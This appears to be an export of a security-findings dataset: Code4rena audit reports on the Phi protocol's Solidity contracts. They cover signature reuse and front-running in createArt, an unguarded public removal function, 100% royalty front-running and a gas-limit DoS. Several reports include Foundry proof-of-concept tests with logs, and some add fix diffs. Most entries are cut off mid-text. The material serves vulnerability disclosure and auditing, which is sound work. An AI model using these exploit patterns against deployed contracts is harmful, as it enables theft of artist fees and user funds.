xanoutas/solidity-security-findings huggingface dataset:
Lacks of checks in signature inside `createArt` allows other artists without permission to deploy art with their own `CreateConfig` parameters illegally
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L196-L213


# Vulnerability details

## Vulnerability Details
```solidity
    function createArt(
        bytes calldata signedData_,
        bytes calldata signature_,
@>      CreateConfig memory createConfig_
    )
```
In `createArt` function of `PhiFactory.sol`, the function allows the caller to pass in `CreateConfig memory createConfig_` in the **function parameter** instead of extracting it from `signedData_`.

Since there's also no nonce or original approved caller check, this allows for a malicious user to steal a signature obtained from a different artist and deploy an art with `createConfig_`'s receiver set to their **own address**, allowing them to receive the fees, all without permission given by `phiSignerAddress`, which breaks an invariant of the protocol about having permission, as well as stealing receiver fee.

**Sequence of exploit:**
1. Artist Alice gets permission from `phiSignerAddress`, obtaining a `signature_` for her `signedData_`.
2. She calls `createArt` with her own `createConfig_`, with `artist`,`receiver` and `mintFee` etc set to a value of her choice. Before the transaction is mined, it sits in the mempool.
3. Bob who is malicious, sees Alice's transaction in the mempool and calls `createArt` on his own with a higher gas priority fee.
4. Bob uses the same `signedData_`, `signature_` but submits his own version of `createConfig_` with `artist` and `receiver` set to an address of his choice.
5. Now, Bob has managed to deploy an art with `artist` set to himself, as well as being able to **receive artist mint fees** since he set `receiver` to himself. And all of which is done by Bob without getting permission from `phiSignerAddress` at all, breaking a key condition of the protocol.

## Proof Of Concept
Add the following function to `test/PhiFactory.t.sol:TestPhiFactory`
```solidity
function test_permissionlessDeploymentAttack() public {
  /* Alice seeks permission from Signer to deploy art piece */
    bytes memory credData = abi.encode(1, owner, "SIGNATURE", 31_337, bytes32(0));
    bytes memory signCreateData = abi.encode(expiresIn, ART_ID_URL_STRING, credData);
    bytes32 createMsgHash = keccak256(signCreateData);
    bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
    (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
    if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
    /*
      Even if Alice were to include the variables of the struct CreateConfig (artist, receiver etc) in signCreateData
      for the Signer to sign, it will not stop Bob from using this same signature and passing his own version of the
      struct CreateConfig, as createArt in PhiFactory.sol uses the struct passed in the parameter to create
    */
  /* end of Alice's actions */

  // Alice deploys transaction to the mempool
  // Bob sees the transaction from the mempoo
Unauthorized Removal of Credential ID Allows Attacker to Disrupt User CRED Share Management
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L695
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L697


# Vulnerability details

## Impact
A critical access control vulnerability has been identified in the `_removeCredIdPerAddress` function, allowing an unauthorized attacker to remove a credential ID (credId) from any user's account. This results in the user being unable to manage their shares correctly, specifically preventing them from selling their shares. The issue poses a significant risk to the integrity of the protocol, as it enables attackers to manipulate the state of user accounts, leading to potential financial losses.

## Proof of Concept
### Test in Foundry: 
```javascript
function test_maliciouslyUpdateCuratorState() public {
        _createCred("BASIC", "SIGNATURE", 0x0);
        uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 1);
        assertEq(buyPrice, 1_091_874_359_329_268, "buy price is correct");
        vm.startPrank(anyone);
        // curator buys 1 share of cred
        cred.buyShareCred{ value: buyPrice }(1, 1, 0);
        console.log("Curator bought share");
        cred.isShareHolder(1, anyone);
        vm.stopPrank();

        // attacker tries to decrement the share balance of the user
        vm.startPrank(attacker);
        cred._removeCredIdPerAddress(1, anyone);
        console.log("*********************************************************************************************");
        console.log("Attacker manipulates Curator share balance by calling public function _removeCredIdPerAddress");
        console.log("*********************************************************************************************");
        vm.stopPrank();

        // user tries to sell 1 share but fails since the share balance is 0
        assertEq(cred.isShareHolder(1, anyone), true, "cred 1 is voted by anyone");
        vm.startPrank(anyone);
        vm.warp(block.timestamp + 10 minutes + 1 seconds);
        uint256 minPrice = bondingCurve.getSellPriceAfterFee(1, 1, 1);
        vm.expectRevert(EmptyArray.selector);
        cred.sellShareCred(1, 1, minPrice);
        console.log("Curator Fails to sell 1 share bought after certain time even though share balance is 1");
        vm.stopPrank();
    }
```

### Logs: 
```
forge test --mt test_maliciouslyUpdateCuratorState -vvv
[⠢] Compiling...
[⠑] Compiling 1 files with Solc 0.8.25
[⠘] Solc 0.8.25 finished in 9.72s
Compiler run successful!

Ran 1 test for test/Cred.t.sol:TestCred
[PASS] test_maliciouslyUpdateCuratorState() (gas: 720816)
Logs:
  Buying  1  number of shares
  Curator bought share
  *********************************************************************************************
  Attacker manipulates Curator share balance by calling public function _removeCredIdPerAddress
  *********************************************************************
Create art can be frontruned and lead to lose of funds for artist
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L191-L213
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L589-L593


# Vulnerability details

`PhiFactory::createArt` is responsible for creating a art. This function has three parameters, `signedData_` which is data signed by a signature, `signature_` and the last parameter is `createConfig_`, which represents the parameters that are used for creation of art. In the `createConfig_` one of the parameters is the `artist`, which is the owner of the art. 

## Impact

The main problem here is that malicious user can frontrun the request for art creation and in `createConfig_` can put for `artist` any value. This will lead to the situation, where instead of the real `artist` to be the owner of the `art`, some malicious user overtake the ownership. All the rewards for minting nft of this art, will be received by the malicious user, instead of the artist.

## Proof of Concept

Let's look at the following situation:
1. Request for creating art is signed for `credId` and `credChainId`
2. The problem is that malicious user is monitoring and frontruns the request, putting into `createConfig_` for artist his address. 

```solidity
function createArt(
        bytes calldata signedData_,
        bytes calldata signature_,
        CreateConfig memory createConfig_
    )
        external
        payable
        nonReentrant
        whenNotPaused
        returns (address)
    {
...
```

As you can see the `createConfig` is not part of the signedData and `artist` value can be easily put into the `createConfig`. And lack of check for sender, make this possible.

## Tools Used
Manual review

## Recommended Mitigation Steps

Add `artist` address to be part of the signed data. All other parameters can also be added to the signed data, but their are not critical, because the artist can change them anytime. I will suggest also the sender to be part of the signed data.

The following changes needs to be done: 

First in `IPhiFactory.sol`

```diff
struct CreateConfig {
-   address artist;
    address receiver;
    uint256 endTime;
    uint256 startTime;
    uint256 maxSupply;
    uint256 mintFee;
    bool soulBounded;
}
```

Then in `PhiFactory.sol`.

```diff
function _validateArtCreationSignature(bytes calldata signedData_, bytes calldata signature_) private view {
        if (_recoverSigner(keccak256(signedData_), signature_) != phiSignerAddress) revert AddressNotSigned();
-       (uint256 expiresIn_,,) = abi.decode(signedData_, (uint256, string, bytes));
+       (uint256 expiresIn_,,address sender,) = abi.decode(signedData_, (uint256, string, bytes));
        if (expiresIn_ <= block.timestamp) revert SignatureExpired();
+       if (sender != _msgSender()) revert SignatureExpired();
}

function createArt(
        bytes calldata signedData_,
        bytes calldata signature_,
        Create
`signature` can be used by anyone
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L589-L593


# Vulnerability details

## Impact
Without sender validation, anyone can use any `signature`  and create art as authority is not validated in the function.

## Proof of Concept
[`createArt()`](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L197-L198) requires `signedData_` and `signature_` to complete the operation. These are then [validated](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L207) as follows in [`_validateArtCreationSignature()`](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L589-L593):
```solidity
    function _validateArtCreationSignature(bytes calldata signedData_, bytes calldata signature_) private view {
        if (_recoverSigner(keccak256(signedData_), signature_) != phiSignerAddress) revert AddressNotSigned();
        (uint256 expiresIn_,,) = abi.decode(signedData_, (uint256, string, bytes));
        if (expiresIn_ <= block.timestamp) revert SignatureExpired();
        // @audit-info Missing sender validation
    }
```
As seen, the function only verifies that the `signature_` has not expired but does not validate that the `msg.sender` is the `sender`. This therefore means that anyone can use any signature to create art.

Consider [`createCred()`](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L256): This function as well requires `signedData_` and `signature_` but within it, it ensures that the caller is the `sender`:
```solidity
if (sender != _msgSender()) revert Unauthorized();
```
This ensures that only the actual `sender` can use the `signature` in question and not just anyone.

## Tools Used
Manual Review

## Recommended Mitigation Steps
Modify the `signedData_` to accept a parameter, `sender`: This will then be used to verify the caller during art creation.






## Assessed type

Access Control
Lack of access control in `Cred:_removeCredIdPerAddress` stops user from selling entire share balance.
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://vscode.dev/github/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L695


# Vulnerability details

## Impact
Lack of access control in `Cred:_removeCredIdPerAddress` allows for a malicious user to remove the credID from an existing user in the `_credIdsPerAddress` mapping. This affects the `_updateCuratorShareBalance` which in turn affects the `sellShareCred` when the victim tries to sell to 0.

## Proof of Concept (POC)
The function is set to public and removes the credID from a users mapping of `_credIdsPerAddress`.

In the following scenario these steps are taken:
- Participant creates a cred.
- anyone removes the cred from the participants mapping.
- logs are made to show the participant has no CredIds in the systems mapping.
- The Cred is shown as still active and the participant has one share.
- The Participant checks their positions in `getPositionsForCurator` which also shows 0
- The Participant tries to sell their share.
- The Participant buys another share.
- The Participant now sells the extra share successfully.
- The Participant is still unable to sell the remaining share.

Add the following getter functions to `Cred.sol`
```solidity
    //audit getter function
    function credIdExistsForAddress(address curator, uint256 credId) public view returns (bool) {
    return _credIdExistsPerAddress[curator][credId];
    }

    function getCredIdsForAddress(address curator) public view returns (uint256[] memory) {
    return _credIdsPerAddress[curator];
    }
```

now add the test to `Cred.t.sol`:

```solidity
function test_credIDS() public {
    //participant creates a cred
    _createCred("BASIC", "SIGNATURE", 0x0);
    uint256 credId = cred.credIdCounter() - 1;
    console2.log("Created credId", credId);
    
    //Log the credIds for the participant
    uint256[] memory credIdsBefore = cred.getCredIdsForAddress(participant);
    console2.log("CredIds for participant before removal:");
    for (uint i = 0; i < credIdsBefore.length; i++) {
        console2.log(credIdsBefore[i]);
    }
    assertTrue(credIdsBefore.length > 0, "Participant should have at least one credId");
    assertEq(credIdsBefore[credIdsBefore.length - 1], credId, "Last credId should match the newly created one");

    //remove the credID from the Participant
    vm.startPrank(anyone);
    cred._removeCredIdPerAddress(credId, participant);
    vm.stopPrank();

    //Log the credIds for the participant after removal
    uint256[] memory credIdsAfter = cred.getCredIdsForAddress(participant);
    console2.log("CredIds for participant after removal:");
    for (uint i = 0; i < credIdsAfter.length; i++) {
        console2.log(credIdsAfter[i]);
    }
    
    bool credIdStillExists = false;
    for (uint i = 0; i < credIdsAfter.length; i++) {
        if (credIdsAfter[i] == credId) {
            credIdStillExists = true;
            break;
        }
    }
    assertFalse(credIdStillExists, "CredId should not exist in participant's list after removal");
Malicious artist could lock nfts
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L307-L350
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L215-L257


# Vulnerability details

Currently, there is a field called `PhiFactory::soulBounded` for each piece of art
`artData` that indicates whether an NFT can be transferred. The issue is that the artist can change this field after the NFT(it can change it all the time) has been minted and distributed, potentially making the NFT non-transferable even after some users have already acquired it.

```solidity
function soulBounded(uint256 tokenId_) public view returns (bool) {
    return phiFactoryContract.artData(_tokenIdToArtId[tokenId_]).soulBounded;
}

function safeTransferFrom(
        address from_,
        address to_,
        uint256 id_,
        uint256 value_,
        bytes memory data_
    )
        public
        override
    {
        if (from_ != address(0) && soulBounded(id_)) revert TokenNotTransferable();
        address sender = _msgSender();
        if (from_ != sender && !isApprovedForAll(from_, sender)) {
            revert ERC1155MissingApprovalForAll(sender, from_);
        }

        _safeTransferFrom(from_, to_, id_, value_, data_);
    } 

    /// @notice Safely transfers multiple art tokens from one address to another.
    /// @param from_ The sender address.
    /// @param to_ The recipient address.
    /// @param ids_ The token IDs.
    /// @param values_ The amounts to transfer.
    /// @param data_ Additional data.
    function safeBatchTransferFrom(
        address from_,
        address to_,
        uint256[] memory ids_,
        uint256[] memory values_,
        bytes memory data_
    )
        public
        override
    {
        for (uint256 i; i < ids_.length; i++) {
            if (from_ != address(0) && soulBounded(ids_[i])) revert TokenNotTransferable();
        }
        address sender = _msgSender();
        if (from_ != sender && !isApprovedForAll(from_, sender)) {
            revert ERC1155MissingApprovalForAll(sender, from_);
        }
        _safeBatchTransferFrom(from_, to_, ids_, values_, data_);
    }
```

## Impact

I will describe the problems that can be faced with changing this field: 

1. Allowing an artist to change the `soulBounded` field after an NFT for art has been distributed can severely undermine both trust and market value. Users purchase NFTs with the expectation that their properties, including transferability, are consistent and immutable. 

2. If an NFT is suddenly made non-transferable, it can lead to a loss of trust in the artist and the platform, as well as a decrease in the NFT's market value due to reduced liquidity. This unpredictability can deter users from engaging in the platform, as they may fear sudden changes that could affect the resale or trade of their assets.

## Proof of Concept

Let's look at the following scenario: 

1.
Art creators can update royalties to 100% and front-run NFT sales to pocket the whole sale amount.
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/PhiFactory.sol#L215-L257


# Vulnerability details

## Impact
Art creators can arbitrarily chose the royalty configuration via the `PhiFactory::updateArtSettings` function, meaning that can listen to the mempool for any sale of NFT that they created, front-run this transaction by paying a higher gas fee and change the roylaty rate to 100% before the sale is completed, effecitvely pocketing the whole amount of the sale. 

## Proof of Concept

The art creator of an NFT can update his NFT settings by calling `PhiFactory::updateArtSettings` defined below

```javascript
    function updateArtSettings(
        uint256 artId_,
        string memory url_,
        address receiver_,
        uint256 maxSupply_,
        uint256 mintFee_,
        uint256 startTime_,
        uint256 endTime_,
        bool soulBounded_,
        IPhiNFT1155Ownable.RoyaltyConfiguration memory configuration
    )
        external
        onlyArtCreator(artId_)
    {
        if (receiver_ == address(0)) {
            revert InvalidAddressZero();
        }

        if (endTime_ < startTime_) {
            revert InvalidTimeRange();
        }
        if (endTime_ < block.timestamp) {
            revert EndTimeInPast();
        }

        PhiArt storage art = arts[artId_];

        if (art.numberMinted > maxSupply_) {
            revert ExceedMaxSupply();
        }

        art.receiver = receiver_;
        art.maxSupply = maxSupply_;
        art.mintFee = mintFee_;
        art.startTime = startTime_;
        art.endTime = endTime_;
        art.soulBounded = soulBounded_;
        art.uri = url_;

        uint256 tokenId = IPhiNFT1155Ownable(art.artAddress).getTokenIdFromFactoryArtId(artId_);
        IPhiNFT1155Ownable(art.artAddress).updateRoyalties(tokenId, configuration);
        emit ArtUpdated(artId_, url_, receiver_, maxSupply_, mintFee_, startTime_, endTime_, soulBounded_);
    }
```

we note that no validation is made on the `configuration` parameter which is then passed to `PhiNFT1155::updateRoyalties` which calls the `CreatorRoyaltiesControl::_updateRoyalties` function, which does not validate the royalty configuration either

```javascript
    function _updateRoyalties(uint256 tokenId, RoyaltyConfiguration memory configuration) internal {
        if (configuration.royaltyRecipient == address(0) && configuration.royaltyBPS > 0) {
            revert InvalidRoyaltyRecipient();
        }

        royalties[tokenId] = configuration;

        emit UpdatedRoyalties(tokenId, msg.sender, configuration);
    }
```

meaning the art creator can pass `RoyaltyConfiguration({ royaltyBPS: 10_000, royaltyRecipient: artCreatorAddress }` as a parameter, effectively setting the royalty rate to 100%

This art creator is then free to monitor the mempool and frontrun any NFT sale from his creation by setting a royalty rate of 100%. The unsuspected seller will think he is selling with a royalty rate of the initial 5% but will
Rewards distribution for cred would be blocked if it has too many curators
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L84-L118


# Vulnerability details

## Impact
Each credential can have multiple instances (up to 999), so for one `credId`, there could be up to 999 different addresses that own some portion of it. The `CuratorRewardsDistributor` contract allows rewards to be distributed between the curators of a credential and the protocol itself (https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L84). However, a problem arises due to the number of operations performed in a single transaction. Users cannot control how many curators will receive rewards, as the rewards are distributed to all of them (https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L106-L116). Here’s the function used to retrieve all curators for a given `credId` - https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L906-L934. This leads to high gas consumption, and since some chains have strict block limits, this can result in a DoS issue, where the transaction fails because it exceeds the block’s gas limit on certain EVM chains that the protocol intends to launch on.

For example:
 - Ethereum (30m block limit) https://docs.optimism.io/chain/differences#:~:text=30%2C000%2C000%20gas,30%2C000%2C000%20gas
- Optimism (30m block limit) https://docs.optimism.io/chain/differences#:~:text=30%2C000%2C000%20gas,30%2C000%2C000%20gas
- BeraChain (30m block limit) https://docs.berachain.com/learn/help/faqs#:~:text=Block%20gas%20limit%20(30m

## Proof of Concept
Insert into Cred.t.sol:

```solidity
  function testDos999() public {
        uint256 credId = 1;
        bytes32 merkleRoot = 0xdc4c272ceaa7b5ba9e0f3f9972f735f14e1b4ed191e15d0d17afc62792226428;

        // Create the initial cred
        _createCred("ADVANCED", "MERKLE", merkleRoot);

        address[] memory buyers = new address[](998);

        vm.warp(START_TIME + 1);
        // Buy one by one up to 998
        for (uint256 i = 0; i < 998; i++) {
            address buyer = makeAddr(string(abi.encodePacked("buyer", i)));
            buyers[i] = buyer;
            vm.deal(buyer, 11_000 ether);

            vm.startPrank(buyer);
            uint256 currentSupply = cred.credInfo(credId).currentSupply;
            uint256 buyAmount = 1;
            uint256 price = bondingCurve.getBuyPriceAfterFee(credId, currentSupply, buyAmount);

            cred.buyShareCred{ value: price }(credId, buyAmount, 0);

            assertEq(cred.getShareNumber(credId, buyer), buyAmount);
            assertEq(cred.credInfo(credId).currentSupply, currentSupply + buyAmount);
            vm.stopPrank();
        }
        address depositor = makeAddr("depositor");
        deal(depositor, 10 ether);
        vm.startPrank(deposito